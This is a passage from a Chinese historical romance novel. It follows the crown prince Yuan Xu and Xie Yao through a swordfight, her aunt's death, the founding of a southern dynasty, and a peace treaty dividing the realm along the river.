一支箭冷不丁向她射去,元序拔剑出鞘,将暗箭打落在地。
“谢二小姐弑杀当朝国公,未免不合礼法吧。”连山目光阴恻,冷笑着望向她。
“连侍卫这是说得什么话,薛氏谋反,父皇是知晓的。”元序接过话,“更何况,还有二弟这个人证在。”
“皇兄所言甚是。”元庆应声附和。
连山微微蹙眉,横下心,“二位殿下,得罪了。”
他摆了摆手,随行而来的侍卫疾步上前,摁住太子和二皇子,让他们动弹不得。
“臣奉圣上旨意,诛杀逆党!”
连山跃下马,拔剑走向谢杳。
“圣上这是打着薛氏谋反的幌子,拉江宁侯府下水。”
连山不予理会,出招刺向谢杳。
谢杳眸色一凛,接下剑招,“欲加之罪,何患无辞。”
二人拔剑而战,几个回合下去,胜负难分,一旁的士兵架起了弓,以备不时之需。
连山步步杀招,是抱定信念要将谢杳灭口,元序找准时机,将身侧的侍卫绊倒,抽出他腰间的剑。
“放下弓!”元序说着,将剑架到自己的颈处,“退后!”
“太子殿下!”
他身侧的士兵见状,急忙放下弓,连连后退。
元庆微怔,他被元序的举动惊得说不出话,心中思绪翻涌,他的皇兄竟用自己的命来要挟,只为换谢杳的性命,这般情谊,世间难寻其二,情深至此,叫人感叹。
“父皇既心知肚明,为何要赶尽杀绝?”元庆出言帮衬,惹得周遭哗然,议论纷纷。
连山使了个眼色,一旁的侍卫抬手将元庆打晕,四下又归于寂静。
他们身为大晟的将士,怎敢无端妄议,何况他们不过区区蝼蚁,又能奈何呢?
连山不欲再与谢杳缠斗,索性将全部功力外显,一掌将谢杳的剑震碎。
谢杳连连后退,呕出一口鲜血,她拾起地上被薛军遗落的长枪,艰难地
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撑着起身,连山的功力深不可测,远超她之上,即便是姑姑在此,也未必会有胜算。
“牵马来!”元序厉声一喝。
连山勾了勾唇,“太子殿下,别白费力气了。”
言罢,他抬剑劈向谢杳,将她手中的长枪劈成两半,最终将剑刃落在谢杳的肩上。
谢杳忍痛抵着剑,抬肘将剑折断,用力踢向连山的腹部,连山受力后退,她也脱力蹲下身来。
连山静息敛神,将内力凝在掌中,“谢二小姐真是令我惊喜,你这天资,倘若勤加修习,定能大有所成,可惜了,我如今已近宗师之境,你是断没有机会能在我手上逃脱的。”
谢杳啐了口血水,扬唇一笑,伸手勉强接下他这一掌,连山顺势扣住她的手腕,抬起另一只手,将她一掌打飞。
元序飞身接下谢杳,挽了个剑花以作抵挡,连山躲闪不及,伤了手臂。
“殿下糊涂!”
“你要取她的命,先过孤这关!”
元序扶稳谢杳,向她使了个眼色。
谢杳会意,解下斗篷,用力甩了出去,元序借机出剑,刺伤了连山的右肩。
连山受制于太子,步步掣肘,无从施展,渐落下风,他计上心头,在身侧悄悄打了个手势。
元序背后的侍卫会意,立刻搭弓,射向谢杳。
谢杳无从抵挡,只得向旁侧一扑,重重摔在地上,勉强躲过了那人的箭矢。
霎时,连山不顾太子出剑,回身奔向谢杳,元序见状,将手中的剑一掷,那剑径直刺穿他的左肩,汩汩鲜血从他的心口涌出,他奄奄一息,旋即倒在地上。
元序快步走到谢杳跟前,俯身将她抱起,而后抽出连山肩上的剑。
“还有何人要阻拦?”元序的眸中带着难掩的戾气。
四下鸦雀无声,无一人有所动作。
“回去禀告父皇,薛氏逆党已悉数伏法,江宁侯府满门忠良,清白于世,请朝廷圣断!”
言罢,他抱着谢杳极快地跃上马,策马向东而去。
姗姗来迟的镇西将军望着策马离去的元序,叹了口气,他这外甥,行事像极了妹妹,生得菩萨心肠,却偏偏忘了为自己留些余地。
镇西将军神色一敛,“连侍卫之死,皆系薛氏反贼所为,此间事若有人言错半句,杀无赦!”
“末将明白!”
谢杳倚在元序肩上,凝眸望着他,大晟太子素以温润仁德之名冠绝天下,竟让她一时忘了,身在东宫,怎会是心慈手软之辈?
温润如玉,却也杀伐果断,这才是真正的元序,大晟的太子君。
一丝清凉落在眉间,她伸出手,接住片片飘落的雪花,望着它们融化在掌心,消失殆尽。
元序拢了拢斗篷,“别着凉了。”
“是春雪。”
她莫名想到朔光十二年的那个冬天,在长安的红尘楼,那时所有人都还在。
谢杳渐渐模糊了眼眶,她双肩微颤,不经意露出的悲伤被元序尽收眼底。
“伤口疼何必忍着,左右就我们二人。”
谢杳破涕为笑,他竟为自己找了这么个妥帖的借口,“殿下要将我带去哪儿?”
“去汴州,不过在那之前,我们还要找个地方处理一下你身上的伤口。”
谢杳还未来得及回答,忽地觉得胸前剧痛,呕出一口血,晕了过去。
“昭昭!”
元序轻轻晃了晃她,心中生出一个不好的念头,连山功力深厚,恐怕她不只受了外伤,还有内伤。
他勒马停下,撕下衣袍边角,将她身上的几处伤口包扎好,而后紧紧拥住她,策马疾驰。
元序片刻不敢停歇,行了一昼夜的路,终于在翌日半夜进了汴州城。
他抱着谢杳艰难地走进顾府,在顾怀川接过谢杳后,也脱力昏了过去。
30. 第二十九卷·青山本不老
日光繁盛,透窗照进屋内,带来一丝暖意。
元序眼睫微颤,迎着光亮艰难地睁开眼,顾怀川见他醒来,一改愁容,“可算是醒了。”
他作势便要起身,被顾怀川拦下,“郎中还在为阿杳施针。”
“昭昭伤势如何?”
顾怀川叹了口气,“她伤上加伤,元气大损,险些丢了性命,若不是诊治及时,纵使神仙下凡也救不得了。”
“都怪孤,是孤没有保护好她。”元序很是自责。
顾怀川眉头紧蹙,“殿下带阿杳回来时,她满身是血,这究竟是怎么一回事?”
“薛氏谋反,欲拥二弟登基,薛凌寒引江南动乱混淆视听,怎料父皇借此一箭双雕,把矛头又对准了江宁侯府。”
“红尘楼的消息四通八达,有皎皎在,不应如此狼狈才是。”
元序垂眸,声音低沉,“薛凌寒行事诡秘,待姑姑发现,为时已晚,她为救下玄明的子嗣中了毒,早已不在楼内。”
“你说皎皎怎么了?”
“姑姑中了毒,已时日无多。”
顾怀川猛地起身,顿了顿,又坐了下来。
“父皇的亲卫被我所杀,不知会否再出兵,汴州亦不宜久留。”
“阿杳伤重,辗转不得,此去江宁路途遥远,恐难以施为。”
元序侧目望向窗外,面色愈加笃定,“不出两日,江河解冻,届时可乘舟而下,先至扬州,再作打算。”
顾怀川颔首,“幸得殿下周全。”
待郎中出府,元序才进了厢房,他走到塌边,轻轻坐了下来,动作极其小心,生怕扰了她的清净。
谢杳面色苍白,安然闭目,新换上的淡粉色衣裙,衬得她格外消瘦。
元序望着她出了神,自那日洛阳分别,他再未见她穿过这般颜色,从前的时光一去不返,变了的又何止这些外物。
他牵起谢杳的手,将手中紧攥着的红翡玉镯给她戴好,“有缘无份也是缘,这镯子不会再有第二个主人,这一生一世,都只能是你。”
元序勾起唇角,理了理谢杳的衣袖,恰好盖住了她腕上的镯子。
“昭昭不说话,孤就当你乐意收下了?”他笑意更盛,“不愿的话,也难办了,这山高水长的,你还得跋涉千里来还给孤。”
谢杳眼睫微动,指尖轻轻缩了缩。
元序不曾察觉,良久后,才抬起头。
他慢慢伸出手,温柔地拨开她额间的碎发,“昭昭,孤心悦于你,自始至终,从无更改,大晟太子也好,元子启也罢,今生今世,情之所钟,求不得,铭于心者,唯昭昭一人。”
元序俯身,在她的额间落下一吻,郑重而虔诚。他久久停留,不舍离去,却又觉得逾礼,换做与她额头相抵。
汴州顾府的一隅,是他们辗转多年后难得的宁静,虽如昙花一现般短暂,但在他的心中,胜如春朝,堪比世间万般美景。
元序缓缓睁开眼,眸中泛着泪光,“昭昭,无论你想做什么,我都不会阻拦,哪怕拱手天下也无妨,只愿你喜乐康宁,再无忧难险阻。”
“南境的盛世,就托付给你了。”
言罢,他敛好情绪,快步退出了厢房。
一滴泪自谢杳的眼角滑落,隐没在他身后。
人生总会有些遗憾,难以弥补,难以周全,却也因此,给了人继续走下去的理由。
***
她再醒来时,已身在碧波之上。
谢杳撑着沉重的身躯走到船头,南风拂过,盎然的春意与人撞了个满怀。
她转身回望,北面的河山还覆着层层积雪,银装素裹,十里不同天,长安的春日还是来得太迟了。
正午的日头毒辣,直晃人眼,她抬手遮住倾洒下的光辉,无意间瞥见腕上的玉镯。
谢杳眸光一滞,垂下头,将镯子摘了下来,那日她虽昏迷,意识却还清醒,元序的每一句话她都听见了。
“醒了?你身子还很虚弱,不宜吹风。”
谢杳望见来人很是惊诧,“太傅?”
顾怀川端着汤药,向她走来,“阿杳现下感觉如何?可还有哪里不适?”
谢杳摇了摇头,“您怎会在此?”
“今岁年初,我依礼回乡祭祖,期间收到殿下的信,殿下叫我待在汴州,不要回京,谁料竟等来了风尘仆仆的你二人。”顾怀川颇为感叹,“我知了原委,纵万难也要见皎皎一面,正好一道护你南下。”
谢杳垂眸不语,原来,元序在江宁时便已筹谋妥帖,留下了后路,让她和太傅今日得已两全。
“阿杳可是在想圣上会否责罚殿下?”
“殿下桩桩件件无不违逆圣意,恐圣上要另立储君。”
顾怀川扬起笑意,“圣上不会。”
谢杳抬眸望向他,待他解惑。
“太子之位乃遵太祖遗诏,轻易不得更改,殿下才德举世共睹,圣上深知,能守大晟江山者,非殿下不可。”顾怀川言辞笃定,“圣上固然多疑,却也是惜才的。”
谢杳莫名觉得可笑,朔光帝惜才,却从不曾顾惜过江宁侯府。
她将手中的镯子悄悄收于袖中,此后她与元序南北相隔,不会再见了,有些情意,还是不示人得好。
轻舟顺流而下,很快抵达了扬州。
瓜洲渡口旁,陆琼宇携棠梨和段策焦急地等待着,见谢杳下了船,疾步迎上前去。
陆琼宇愣怔地望向谢杳身后的人,“太傅?”
“陆刺史,借你的马一用。”
顾怀川先行一步,策马直驱江宁,留下谢杳在扬州休整些时日,再行上路。
棠梨和段策一左一右地扶着谢杳,将她稳稳地送到榻上。
“我都说了,我自己能走。”谢杳极不情愿,“你们这样像是在搬物件,损我形象。”
陆琼宇充耳不闻,倒了杯茶,递给她,“要怪也只能怪元序,若不是他,你能伤成这样?”
谢杳不接,侧过头去,“我累了,你先出去吧。”
棠梨见二人僵持不下,只好走上前,接过陆琼宇手中的茶杯,眼神示意段策送他出去。
“小姐。”棠梨将茶递给她。
谢杳轻笑,“南境尚未自立,就这般出言不逊,与那些人又有何异。”
“陆小侯爷也是担心小姐。”
“阿姊。”段策很快返回屋内。
谢杳知他要问什么,抢先开口:“我与殿下都无恙,阿策可安心。”
段策用力点头,舒了口气。
“我离开的这段时日,江宁侯府如何?”
“侯爷、夫人大发雷霆,斥责小姐胆大妄为,面上虽如此,实则心急如焚,担忧小姐的安危。”棠梨躬身请罪,“请小姐责罚。”
谢杳抬手轻轻一挥,“过去之事,既往不咎,只是今后,断不可再犯。”
“棠梨谨记。”
翌日黄昏,谢杳一行回到江宁侯府。
她径直奔向姑姑的卧房,见双亲与顾怀川皆坐于屋内。
“父亲。”“母亲。”“太傅。”
她一一见礼,随后侧目望向榻上的姑姑。
高燕眼眶微红,走上前握住她的手,“吾儿受苦了,是我们思虑不周,害你深入虎穴,落得一身伤。”
“母亲言重了。”
谢杳缓缓跪下,“女儿已亲手手刃仇敌,正我江宁侯府清名。”
谢弈安起身,扶起谢杳,“昭昭长大了,为父甚是欣慰,往后,这江宁侯府,就交给你了。”
谢杳郑重点头。
“昭昭。”
“姑姑!”
谢杳跑到塌边,握住谢弈月的手。
“大仇得报,畅快否?”
谢杳立时红了眼眶,轻轻摇头。
谢弈月艰难抬手,摸了摸她的脸,“以战止战,终为下策,昭昭所应勉力的,是让这后世再无重蹈覆辙之人,也再无颠沛流离之苦。”
“昭昭记住了。”
谢弈月的目光移向谢杳身后,她闭上眼又睁开,还是不敢相信,眼前之人是顾怀川。
谢杳顺着她的目光回头,忍俊不禁,“姑姑,你没看错,是太傅。”
她缓缓起身,与父亲、母亲一同退出屋外,留他们独自叙话。
“太
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傅何时到的江宁?”谢杳轻声询问小满。
“春分那日。”
小满有些疑惑,阿姊不是同太傅一道吗?怎会推算不出。
“那姑姑这模样……”
“昭昭。”高燕唤住她,“皎皎近日愈加嗜睡……恐时日将尽。”
谢杳攥紧手心,强作镇定,“那这几日,便多留些时间给太傅吧。”
高燕不答,望向谢弈安,他喟然长叹,默许了谢杳的话。
顾怀川立在塌边,凝眸望着谢弈月。
“你怎么来了?”她笑得肆意,“也不怕丢了你这太傅之位。”
“你这般模样,我如何能不来。”
“既是来看我,站那么远作甚,还不坐下。”谢弈月打趣道。
顾怀川拿她没办法,上前一步,坐到塌边。
“难得见你一面,自上次分别,都过去快二十载了。”
“二十三年。”顾怀川一字一顿地说道。
谢弈月微怔,没想到他会记得这么清楚。
“自红尘楼至顾府不过十里,你若想见我,并不难。”
“子启告诉你的?”
“朔光十五年的中秋,我同殿下和阿杳一道去曲江夜游,偶然发现的。”
“想不到大晟的顾太傅还是个探案的好手。”
顾怀川正色道:“皎皎,当年我问你的那个问题,如今可有答案?”
“我……心悦……你。”
谢弈月已是强弩之末,终归支撑不住,闭上了眼。
谢杳小心翼翼地抱起襁褓中的孩提,轻轻地晃了晃。
那孩子在她怀中乐得合不拢嘴,伸出稚嫩的小手,以作回应。
“这孩子倒是与你亲近。”高燕忍俊不禁,“旁人抱她,不哭不闹,便算万幸了。”
“小丫头,你这么凶吗?”谢杳轻轻点了点她的额头。
“我和你父亲商议过了,这孩子的名字,由你来取。”高燕神情认真,“日后,你便替你兄长和公主,将她抚养成人。”
谢杳眼睫微颤,注视着怀中的孩提,良久,缓缓开口:“思之念之,铭刻于心,永不敢忘。”
她一字一顿,“便叫谢思念吧。”
高燕笑着点了点头,很是欣慰。
“小阿念,要听姑姑的话,好好长大。”
谢杳心中感慨,曾几何时,她还是个跟在姑姑身后的孩提,如今却也做了姑姑,要看顾起后辈的人生了。
几日的静谧过后,噩耗接踵而至。
当今皇后无从面对家族谋反的事实,在坤宁宫自缢,圣上震怒,将太子禁足,诏告天下,薛氏一族,秋后问斩,并欲再次出兵江南,大晟局势动荡,人心惶惶。
彼时,谢弈月油尽灯枯,长辞于世,各州府纷纷派人前来,吊唁的人挤满了门庭。
谢杳倚在檐上,望着来来往往的人,失了神。
顾怀川攀着梯子爬上屋顶,慢慢坐下,“阿杳,我决意留在江南。”
谢杳没有开口,多年前她阻拦过姑姑,却终归没有拦下,多年后,她渐渐体会了各中滋味,便也不会再阻拦。
“就像当初皎皎在长安守着我一样,这一次,换我守着她,守着她魂归埋骨的江南。”
“姑姑的心意,也算没有辜负。”谢杳笑中带泪。
顾怀川拍了拍她的肩膀,以示宽慰,而后起身离去。
谢杳望着府内盛开的海棠树,任由眼泪滑落,不再掩藏心中悲戚。
她默默坐在檐上,无声流泪。
天地间唯一一丝暖意,只剩下这明媚日光和一树海棠,她从未如此无措,如此无可奈何,只能呆呆地停在原地,将所有过往悉数收藏。
千里江山,悲欢离合,她亲历、踏遍,在她心中留下了深深的印记,她做不到袖手旁观。
谢杳跃下屋檐,径直进了父亲的书房。
“父亲、母亲,孩儿决意,建立新朝,请父亲、母亲相助。”
大晟,朔光二十三年暮春,南境自立,江南各州府拥江宁侯谢弈安为皇,建大缙朝,改江宁府为应天府,定都金陵,年号嘉祐,史称南缙。
31. 第三十卷·靡不有初
大晟军队适才整装待发,南境自立的消息便传到了长安。
百官互相观望,推诿扯皮,无一人进言,倒也不怪他们,大晟位高权重的国公竟是个反贼,清风朗月的太傅也已不知所踪,民间怨声载道,朝堂人心涣散,当今这位圣上却还只顾着出兵江南,平添战事,实在令人费解。
朝野震动,流言四起,北境的望族审时度势,纷纷决意南迁。
朔光帝急火攻心,在早朝时蓦地呕出一口血,昏在了殿前。
谁料这晕厥之症日益严重,朔光帝一病不起,东宫代揽朝政,力挽大厦将倾之势。
彼时,南境一片祥和景象。
谢杳立于高台之上,一袭红衣格外惹眼,引得众人议论。
“那位可是公主殿下?真是绝世芳姿,气度不凡!”
“慎言!我大缙只有位长公主殿下,却已在建朝前薨世,如今大缙何来的公主,唯有一位摄政王。”
“听说,咱们这位摄政王文武双全,扬州一战全赖她巧计制胜,还北上亲手诛杀了薛贼……”
小满侧耳听着,强忍住自己的笑意,憋的脸色通红。
谢杳瞥了她一眼,无奈地笑了笑。
“殿下,时辰已到。”监斩的官员出声提醒。
谢杳点头相应,“西羌瀚海之徒,穷凶极恶,祸乱民生,罪无可恕,今判其斩首,以祭亡者英灵。”
人头落地,瀚海此后难成气候,也算一桩喜事。
谢杳若有所思,有罪之人,世上只余下一个大晟帝皇了。
“哥哥,姑姑,一切都结束了。”
她缓缓展颜,“一切……也才刚刚开始。”
摄政王府内,大缙帝后与广德侯父子坐于堂中谈笑风生,谢杳进府后便见到这样一幅景象。
她放轻脚步,驻足在堂外,心中思绪万千:倘若兄长和姑姑还在,应当要比眼前所见更为热闹欢欣。
物是人非的酸楚,她自以为久历了便会习惯,实则不然,有些伤痛永远无法弥合,可即便如此,她也不愿忘记。
人生在世,总要有些牵绊,这样才能走下去,支撑她,勉力地走下去。
“阿姊,这是什么?”
小满好奇地望着院中数之不尽的箱笼。
棠梨随手掀开一个箱笼,“凤冠霞帔……这是成婚要用的物件。”
谢杳本将注意力集中在堂内,被她们一说,这才回过神来,“恐怕是聘礼。”
小满愕然,声调都不自觉高了几分,“有人要求娶阿姊?”
“既然回来了,还不速速进来,长辈们已等你多时了。”
高燕的声音从堂内幽幽传来。
谢杳应声走进堂内。
小满捂着嘴,无措地望向棠梨。
棠梨微笑以对,拉着她一道进入堂中。
“父亲。”“母亲。”
谢杳一一见礼,待到广德侯时,动作一顿,却还是施了晚辈礼。
“殿下,使不得。”广德侯虚扶起谢杳,向她回以臣礼。
“此间无人,陆兄不必拘礼。”谢弈安眉间带笑。
“摄政王。”陆琼宇的语气略带玩味。
谢杳却神情认真,“陆将军。”
陆琼宇觉察到她的情绪,不再打趣,“这么叫还是不大习惯,恕我僭越,还是如从前那般唤殿下可好?”
谢杳不置可否,转而指了指院中,“陆将军这是何意?”
“昭……”
“别这么唤我!”谢杳不留情面,直接打断他的话。
堂内的人皆愣怔地望向她,不知她缘何这般反应。
“你我自小一起长大,有些话我便也就直说了,从始至终,我都只将你视作兄长。”谢杳眸中的不悦不加掩饰,“更何况,眼下情形,议亲之举,本就不合时宜。”
“昭昭,休得无礼。”高燕出言缓和。
四下寂静,众人一时无言。
良久,广德侯会心一笑,“阿杳是我看着长大的,作为长辈,我亦希望她嫁的如意,感情一事强求不得,今日就当我们从未开口。”
“玉楼芝兰玉树,定能寻得佳偶,结比翼良缘。”谢弈安附和道。
广德侯颔首,寻了个借口,施礼作别。
陆琼宇心有不甘,将谢杳拉到一旁。
谢杳见他久不开口,便抢先说道:“阿宇,凡事皆需留有余地,以不至穷途末路。”
“阿杳,是我逾礼了,还望我的一厢情愿,没有将你愈推愈远。”
谢杳莞尔,“陆将军若不执着,你我便依旧是相交莫逆的友人,他日陆将军觅得良缘,我必备厚礼相贺。”
“过几日我便要同父亲一道归乡,不知再见是何年月,愿阿杳珍重自身,喜乐康宁。”陆琼宇强颜欢笑,言罢,转身跟上父亲。
他刚刚拽着谢杳的衣袖将她拉到一旁时,望见了她手上的玉镯,红翡相间,令人印象深刻。
曾经沧海难为水,除却巫山不是云,他输得彻底,只好故作轻松,寥寥退场。
谢杳轻轻拨弄腕上的玉镯,望着空荡的院子,发着呆。
小满以为她心绪不佳,正欲开口劝解,却被棠梨拦下。
棠梨摇了摇头,示意她不要出声打扰。
也不知道元序境况如何,她转念一想,又扬起唇角,太子可比她这个摄政王事务繁忙,毕竟,大缙还有位顾丞相帮她分担。
谢杳长长地舒了口气,目光移向北方,长安所在的方向。
“待你登帝,又该如何应对这南北对立的局面呢?”
***
弥留之际,元朔紧紧握住元序的手,将他这一生的功业道尽。
元序知晓,父皇是将他认作皇祖父了。
几番陈情,元朔倏而恢复了神志,趁着这难得的清醒,他向元序嘱托道:“太子,这大晟江山,日后便交于你了,万不能负了这祖宗基业。”
“儿臣谨记,定不负所托,建清平盛世,成一代明君。”
元朔欣慰点头,“朕曾立誓,建大晟之盛世,却为心中业障所累,行差踏错,成了这史书上的一代昏君。”
他由轻笑渐渐转作狂笑。
“父皇,你的得意门生终归如你所言,黄袍加身,如今,还要夺了你的江山呢!”
太后长叹,嘴唇翕动,却终是没有开口。
“朕绝不可能将这半壁江山拱手于人!”元朔猝然坐起身,“朕留了遗诏,荡平江南,一统云夏,诛尽谢氏、薛氏满门!”
他怒目而视,“宁教我负天下人,不教天下人负我!”
言罢,元朔身子一歪,直直倒下,断了气。
“皇祖母,孙儿……
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”
“人非圣贤,孰能无过,过而能改,善莫大焉。前人既有错,便不能视之不见,序儿当遵从本心,不必偏听,但求无愧国朝百姓,对得起自己的良心。”太后淡淡说道。
“孙儿受教了。”
大晟,朔光二十三年秋,帝薨,太子元序继位。
新帝登基后的第一次早朝,将薛氏谋反的原委昭告天下,并大刀阔斧地宣布改制,将结党营私的官员尽数外调,兴诤谏之风,渐得民望。
此外,新帝还颁布特赦令,念稚子无辜,留薛氏后人,免其一脉断绝,另行禁止,薛氏子弟皆不得入朝为官。
北境民间无不称赞,皆夸赞他是位仁德的贤君,人心渐趋安定,却不时生出流言,议论南北开战一事。
新帝虽不曾依旧诏出兵江南,可也从未表明态度,不由引人猜想。
民间的传说甚至将他与谢杳旧时的婚约搬了出来,说书人信口开河,惹得一众看客,议论纷纷。
待势头鼎盛之时,元序亲笔修书一封,暗中传信金陵,摄政王府。
谢杳接到信,略加思量,快马进了宫。
“父亲,母亲,你们意下如何?”
谢弈安不假思索,“若能议和,于国于民都是极好的。”
“还需传信红尘楼,叫月见探查一番。”高燕更为谨慎。
谢杳颔首,“彼时不如约在江上画舫,便于周全,父亲不必亲自前去,女儿代劳便是。”
“昭昭想见他?”高燕打趣道。
“天地可鉴,女儿并无私心。”谢杳神情认真,“大缙建朝不久,时局不稳,父亲又年事已高,不宜辗转。”
谢弈安漫不经心道:“也罢,这些昭昭应付得来,大缙摄政王前去,也算诚意满满。”
待月见回信,谢杳立时传信答复元序。
书信一来一往,二人很快便议定好时日,南北各治的和平愿景,在他们的共同勉力下,成了水到渠成的易事,实在令人欣喜。
段策犹豫着上前,见立在院中的谢杳心情尚好,才轻声唤她:“阿姊。”
谢杳回身,“阿策缘何这般踌躇?”
段策一脸惊诧。
谢杳脸上的笑意更盛,“你在我身后徘徊的脚步声,我听的一清二楚,还不速速招来?”
“我……我想去长安寻殿下。”
谢杳微怔,一时没有出声。
“当年若非殿下相救,我不可能苟活于世,段氏满门尽丧,我当归于凉州,重振门楣。”段策言辞恳切。
谢杳抬手,轻轻拍了下他的肩膀,“阿策长大了,恐怕阿姊想拦也拦不住。”
不待他开口辩驳,谢杳继续说道:“可我既身为你的阿姊,便有看顾你的责任,有些话纵然逆耳,我也不得不说。你虽姓段,却与谢氏有着千丝万缕的联系,元序在时尚且不论,倘若他日新帝登基,可能容得下你这他朝血亲?”
段策眉头紧蹙,无法回答。
谢杳轻叹,“你的去留,待下次见到他时,再议吧。”
段策闻言,面露喜色,连连点头。
“此事不要跟任何人提起。”谢杳沉声叮嘱。
***
新岁元日,新帝改元昭宁,改国号为祈,史称北祈。
云夏大地一分为二,南北朝并立的时代就此拉开序幕。
32. 第三十一卷·曲终人不见
南缙,嘉祐二年初春,大军压境,驻扎在江水北岸,南岸的百姓见状,惶恐不已,一时间流言四起,南北开战的言论甚嚣尘上。
然而几日之后,北祈军队每过一日便后退一里,此番举动又叫人有些摸不着头脑。
小满声情并茂的将民间传闻说给谢杳,惹得棠梨直笑。
“傻丫头,你也不想想,北祈军队怎会无故后退数里?”
“自是因这流言坏了名声,才有意退后,毕竟,北祈是为了议和而来,必定不想徒惹是非。”小满不假思索。
谢杳付之一笑,没有反驳。
棠梨又问:“那你再猜猜,北祈此次前来议和的人是谁?”
“无非就是派一位位高权重的文臣前来,左右不会是位将军,更不可能是皇帝亲临。”
小满支支吾吾说不真切,只好认输,“我又不曾了解过北祈朝堂,怎知那北祈皇帝会派何人前来。”
棠梨狡黠一笑,“前来议和之人,你已经提到了。”
小满领会她话中含义后,瞪大眼睛,不可置信地望向谢杳。
谢杳轻轻点头,默认了棠梨的话。
***
北岸驻军的第六日清晨,谢杳一行来到岸边,乘着早早备好的画舫,泊在江水的中央。
棠梨立于船头,向北岸扬声喊道:“请陛下乘轻舟前来,于画舫一议。”
元序拦下欲随行的主将,“福公公与孤一道便可。”
“陛下,万万不可,那画舫内境况不明,臣不随行,如何护您周全。”
他话音刚落,画舫上下的帷帘便被人一一卷起,船内的陈设展露无疑。
“陛下安心,画舫内只有我家殿下,和我们侍卫二人。”
谢杳起身走到棠梨身侧,接过她的话,继续说道:“诸位将士想必也看到了,南岸并无驻军,本王亦未曾携带一兵一卒,我大缙诚心相交,定会保证陛下的安危。”
“众将听令,退守原地,不得上前一步。”
元序不再耽搁,乘轻舟离岸。
轻舟渐渐靠近画舫,福公公四下打量,确认无异,在元序出声前,率先开口:“老奴在舟中侯着陛下。”
棠梨腹诽:福公公倒是一贯会察言观色,如此甚好,省得她多费口舌。
谢杳迎上前,微微倾身见礼。
“摄政王身子大好了?”
她微怔,没想到元序的第一句话是问她是否痊愈。
“得陛下周全,本王自然无恙。”
元序佯装不悦,“此处又没外人,你我之间何须守这些虚礼。”
棠梨和段策识趣地默默退到舱外。
“该尽的礼数还是要尽的,不然让众位将士看了,徒生怨气,传扬出去,百姓们恐要以为,我这个大缙的摄政王狂傲无礼。”谢杳语调轻快。
元序挑眉,“依我看啊,确实狂傲!前几日昭昭不还传信于我,命我拔营退去数里。”
“再往前几里,你都要驻扎到江水中了,骇得我朝百姓夜不能寐,食不知味,我自然要传信相告。”谢杳振振有词,“还有,你比我们约定的时日早了五日前来,换做旁人,恐早疑心你议和是假,出兵是真。”
元序神情认真,“正因不是旁人,所以我无需担心。驻扎近岸,不过是为了离昭昭近些罢了。”
谢杳迎上他的目光,心念微动,这世上再没有第二个人,能同他一般,与自己心意相通。
元序抬手在她眼前晃了晃,“想什么呢?”
谢杳回过神来,胡乱找了个话由搪塞,“阿策想回凉州。”
“你也不怕他在北境受苦?”
“各中利害他都已知晓,却还执意如此,我又有什么理由阻止呢。”谢杳顿了顿,“这毕竟是他的人生,纵使我是他阿姊,是大缙的摄政王,也不该强求的。”
元序颔首,“昭昭一直这般通透,有你这阿姊,阿策怎能不心愿得偿。”
段策附和道:“有阿姊和殿下,是我的福气!”
“没大没小!如今应当叫陛下,到了北境可不能再叫错了。”谢杳出言纠正。
元序忍俊不禁,扬声向舱外喊道:“站远些,莫要偷听!”
清风徐来,水波不兴,碧绿的山水映在眸中,让人沉醉,不知归路。
如若可以,他真想在江南老去,永远留住这盎然春意。
元序将目光从山水间移开,落回谢杳身上,久久凝望着她,想将此情此景铭刻于心。
谢杳迎上他的目光,默契地缄口不语。
她心中万般不忍,却也明白,就算拖着不提,最终都会是那个结果——一南一北,天各一方。
他们之间隔着太多太多,再也回不到从前了,能够各自相安,便已是最好的归宿。
“子启,提笔吧。”她轻声开口,“空口无凭,立书为证,合你我二人之力,定南北江山,建清平盛世。”
元序郑重承诺,“划江各治,百年和盟。”
帝印落下,一纸契约承起云夏江山和百姓,重如千钧。
“昭昭放心,我定会看顾好阿策。”
谢杳扬唇一笑,灿若春华,“我信你。”
元序起身,走到她面前,无意间瞥见她
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腕上的镯子,神色微恸,又极快恢复如常。
“元序在此,代父亲,向谢氏一族赔罪。”他上身压得极低,“是我们辜负了谢氏与江南百姓,罪责难恕,此生不足偿还,惟愿此约能弥补一二,还天下一个太平。”
谢杳起身回礼,“那些死去的人,还有谢氏一族,我无法代替他们原谅,是非对错,便交由后人去评断吧。”
“此生无缘相偕,是我辜负……”
“子启。”她扬声唤他,“你已经做得很好了,世事无常,并非那时的我们能左右。”
谢杳上前一步,拥住元序,“你我之间,没有辜负。”
元序紧紧拥着她,苍茫天地,江山万里,分明浩瀚无垠,却也比不过这一叶扁舟,只因此后在这世间,再也没有他们相见之由,相聚之地了。
他不舍离去,可时辰已到,他该回去了。
“昭昭,如玄明所言,这玉镯权当为你添妆。”
元序松开谢杳,与她拉开距离,“你于国于民皆重,千万不要忘了珍重自身。”
谢杳眼眶微红,不敢再去看他,垂眸点了点头。
“送我出去吧。”
元序拍了拍段策的肩膀,“跟你阿姊拜别。”
段策跪地叩首,“阿姊,珍重。”
谢杳扶起他,递给他一块令牌,温声嘱咐道:“江南永远是你的归处,任何时候,你都可以畅行无阻,回家来。”
段策用力点头,眼泪在眼眶打转。
谢杳转而望向元序,“子启,珍重。”
“昭昭,珍重。”
言罢,元序与段策一道跃上小舟,驶离了画舫。
“我们也该回去了。”谢杳对棠梨说道。
她干脆利落地转身,作为大缙的摄政王,今后,她要承担起万千民生,不能露怯,亦不能止步不前。
元序望着远去的画舫,心中默默想到,今生无缘,虽遗憾,却也是成全,昭昭绝代风华,理当建立不朽功业,若是做了皇后,委身宫中,那才可惜。
他的眸光愈加坚定,新朝百废待兴,他这个大祈帝皇也不能落后才是。
画舫的桌案上,一封信偷偷藏在契书下,那信上洋洋洒洒地写了一行字:
我心如一,不可转也,此生不求偕行,愿许天下清平,万里同风,以表心意。
***
云夏,南朝史记:
嘉祐二年春,南缙摄政王谢杳与北祈帝皇元序,于江上画舫签订百年和平之约,南北议和,划江各治。
自此,天下太平,百年间再无战事,开云夏之盛世。
33. 雪满长安道
晨钟杳杳,挟着未散的寒气,随江风一道刮过,吹散了笼在山水间的薄雾。
她冻得打了个寒噤,抬手紧紧拢住斗篷。
“郡主,还不回去吗?”
自她出府到此,近两个时辰,小满都不曾阻拦,只偶尔出声提醒几句。
少女倔强地摇了摇头,难得有机会来这儿,她可不能白白浪费。
“小满姑姑,这画舫……当真是姑姑当年签订南北和约的地方吗?”
小满忍俊不禁,点了点头。
“那怎么什么都没有?”
谢思念神情沮丧,像是泄了气的皮球。
“傻丫头,重要的东西又怎么会留在这儿?”
“那也不至于连一点痕迹都没有。”
谢思念仍不死心,船头船尾绕了几圈,终是一无所获,只好作罢。
